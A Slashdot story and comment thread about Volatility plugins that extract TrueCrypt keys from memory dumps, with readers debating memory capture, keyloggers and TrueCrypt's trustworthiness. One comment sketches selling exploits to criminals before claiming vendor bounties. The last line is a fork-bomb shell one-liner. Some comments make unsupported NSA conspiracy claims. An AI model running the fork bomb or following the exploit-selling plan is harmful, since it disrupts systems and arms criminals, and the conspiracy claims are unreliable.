TrueCrypt Master Key Extraction and Volume Identification
An anonymous reader writes "The Volatility memory forensics project has developed plugins that can automatically find instances of Truecrypt within RAM dumps and extract the associated keys and parameters. Previous research in this area has focused specifically on AES keys and led to the development of tools such as aeskeyfind. The Volatility plugin takes a different approach by finding and analyzing the same data structures in memory that Truecrypt uses to manage encryption and decryption of data that is being read from and written to disk. With the creation of these plugins a wide range of investigators can now decrypt Truecrypt volumes regardless of the algorithm used (AES, Seperent, combinations of algos, etc.). Users of Truecrypt should be extra careful of physical security of their systems to prevent investigators from gaining access to the contents of physical memory."
Don't people burn memory blocks any more? This is sensitive data handling 101.
Way too tedious (and requiring physical possession of the hardware after encryption passwords/etc have been entered!) for the modern NSA -- they'll just install keylogging hardware that communicates over radio frequencies and not the internet if they need your encryption key. Then, your hacked ethernet/bluetooth port will also send them image of your drive over RF or some other discreet channel. Who needs this!?!
Given that we're in an era of low-cost portable devices (Raspberry-Pi, BeagleBoard, etc.), it would be really nice if TrueCrypt could implement a driver that passed data off to an external, open-source device for processing that held the keys in its own memory, and provided no other service than to perform the cryptographic functions and hand back the data. It would be slower, but at least then you don't have the keys in memory on a general purpose computer running browsers, java, flash, adobe reader, etc. etc.
Take one of those devices and attach a small screen to them and you could enter your passphrase using a keyboard attached directly to them, and use a keyfile on a flash stick plugged into the USB port too. The distro powering all of this could be minimal and audited.
Nothing that you mentioned would prevent someone from taking a memory dump of your machine.... With firewire, pci slots, or other DMA-capable hardware slots, memory can be captured with physical access and no user credentials required. With (root) user credentials, memory can be captured through projects such as LiME that are kernel modules that dump physical memory to disk or over the network.
I wouldn't be claiming this until the audit is completed.
http://istruecryptauditedyet.com/
Did you ever wake up in the morning, with a Zombie Woof behind your eyes? -- FZ
A billion people not in your parents' basement?
Shut your machine OFF before you get to the border; don't put it to sleep.
I do not fail; I succeed at finding out what does not work.
-a KEYLOGGER is an infinitely greater risk to the use of ANY encryption system, and keyloggers are trivially inserted into a PC via almost unlimited numbers of hardware and software methods.
-gaining access to the current RAM of a system is just about the most convoluted and 'expensive' method of a targeted attack. The contents of RAM, of course, are lost once the system powers down. If you are targeted, there are a million easier ways of gaining your password. Many simply use the placement of hidden cameras. At the other extreme, remote equipment can be used to recreate your screen content via EM radiation emitted by the display and drivers.
If Truecrypt is coded properly, it can attempt to keep the 'key' within the caches of the CPU only, and avoid 'write-back' on most processors. If RAM must be used, there are numerous obfuscating RAM usage methods that can prevent the key from living in predictable sequences of RAM bytes. However, you can assume Trucrypt is doing such as much as is useful. Truecrypt FAILS the moment the user is a LIVE (as in current Truecrypt user) target of a 1st class US intelligence operation. Gaining the password from a person who is still entering the password on a regular basis, when money is no object, and the Law is bent as is required, can be taken for granted.
The owner's of Slashdot promote stories like this for one reason- to DISCOURAGE as many people as possible from bothering with Truecrypt in the first place. If naive sheeple THINK Truecrypt is as compromised as the NSA back-doored products from Microsoft et al, they'll 'think' they might as well use the Microsoft or similar product, because of ease of use.
EVERY anti-Truecrypt story is NSA FUD. EVERY commercial encryption package, for instance, allows warrantless searches at the border to reveal the use of encryption, and allows the agents to strong-arm the KNOWN existing passwords from you. However, despite what the vile shills tell you here, used properly there is ZERO trace of actual encryption use on your laptop with Truecrypt, so the probability of warrantless hassle is reduced to as close to zero as you are going to get.
Even better, start not just having one TC volume, but many. Separate your stuff out by what you are doing, and unmount it when you are done. Word documents for client "A", open that specific volume, make an edit, unmount. Excel spreadsheets? Same thing.
This way, if the computer gets taken and the master drive image key slurped off, it means control of the OS, but not much else.
Even better, to prevent data leakage (/tmp files), the next step up is having virtual machines or Evalaze-sandboxed applications that channel all writes to one volume, that is easily unmounted.
TrueCrypt is just one tool in a toolbox.
Of course, there is the fact that people may not have to worry about seizure. My biggest security threat are the meth-heads who will break into a place just to grab stuff to take to a pawn shop or fence in order to stop their DTs. They don't care what's on the machine, so basic encryption turns a hardware + data theft into just hardware lost... which is easily replaced by insurance.
I use Truecrypt for the entire harddrive on my laptop. And when it hibernates, I have to feed it my Truecrypt password to get it back awake.
Presumably, the difference is that I use whole disk encryption, rather than just a part of the disk....
"I do not agree with what you say, but I will defend to the death your right to say it"
Sorry bad logic. Nobody has any idea of Truecrypt's integrity as the entire project has never been peer reviewed and nobody knows all of the persons who contribute to it, so until proven it can't be and hasn't already been compromised, nobody can be confident of its security.
Nobody has claimed to have compromised Truecrypt, that is true, but as we know the NSA and other spook orgs would never admit it if they have and for all we know one of the anonymous developers works for a spook org.
Did you ever wake up in the morning, with a Zombie Woof behind your eyes? -- FZ
Nice try, NSA.
Suppose I find a vulnerability in some software. I've got two choices
1) Make it public and at best get a mention on slashdot when it is fixed.
2) Sell the details to either the NSA/GCHQ etc or to criminal types. In which case no mention on slashdot, but cash up front.
See the problem with security - any security - is that revealing vulnerabilities to the project so they can be fixed is likely to be much less lucrative than selling them other people who want to exploit them.
If I were cynical here's what I'd do
1) I'd sell details of the exploit to whoever paid the most (Russian Mafia/NSA etc) using an untraceable identity. At this point the vulnerability starts to be exploited by them.
2) I then wait until other security researchers notice this or look like they're about to figure it out. However before they can figure it out completely I report it to the vendor with my normal identity. E.g. Microsoft and Google for example pay cash, so I'd get that.
3) Then even later I'd then announce it publicly at Black Hat and say the vendor hadn't fixed it quickly enough so I've decided to go public. For an open source project (e.g. TrueCrypt) I'd submit a patch and say "Look, I fixed this before anyone knew about it") and make the Black Hat talk about that. So I skip the vendor report stage completely because they won't pay me. However I'd keep stage 1 i.e. "flog it on the open market to the mafia", because that's where the money is.
This - call it Irresponsible Disclosure - optimizes my income - I get it from the criminal types and the vendor if they pay it. It also optimizes my publicity.
Of course the downside is that if the NSA/FBI etc think you're doing this they'll seize your laptop when you go through customs
http://yro.slashdot.org/story/10/11/20/0332243/whitehat-hacker-moxie-marlinspikes-laptop-cellphones-seized
Then again, that's no bad thing for publicity too - tech sites will cover it as "Fascist government harassing well meaning security researchers". And of course if you get detained for a few hours just use it as an opportunity to negotiate a deal with them to sell the exploits to them exclusively. The government has loads of cash and may well use it to buy up your worthless one man company in return for you agreeing to sell to them exclusively in future.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;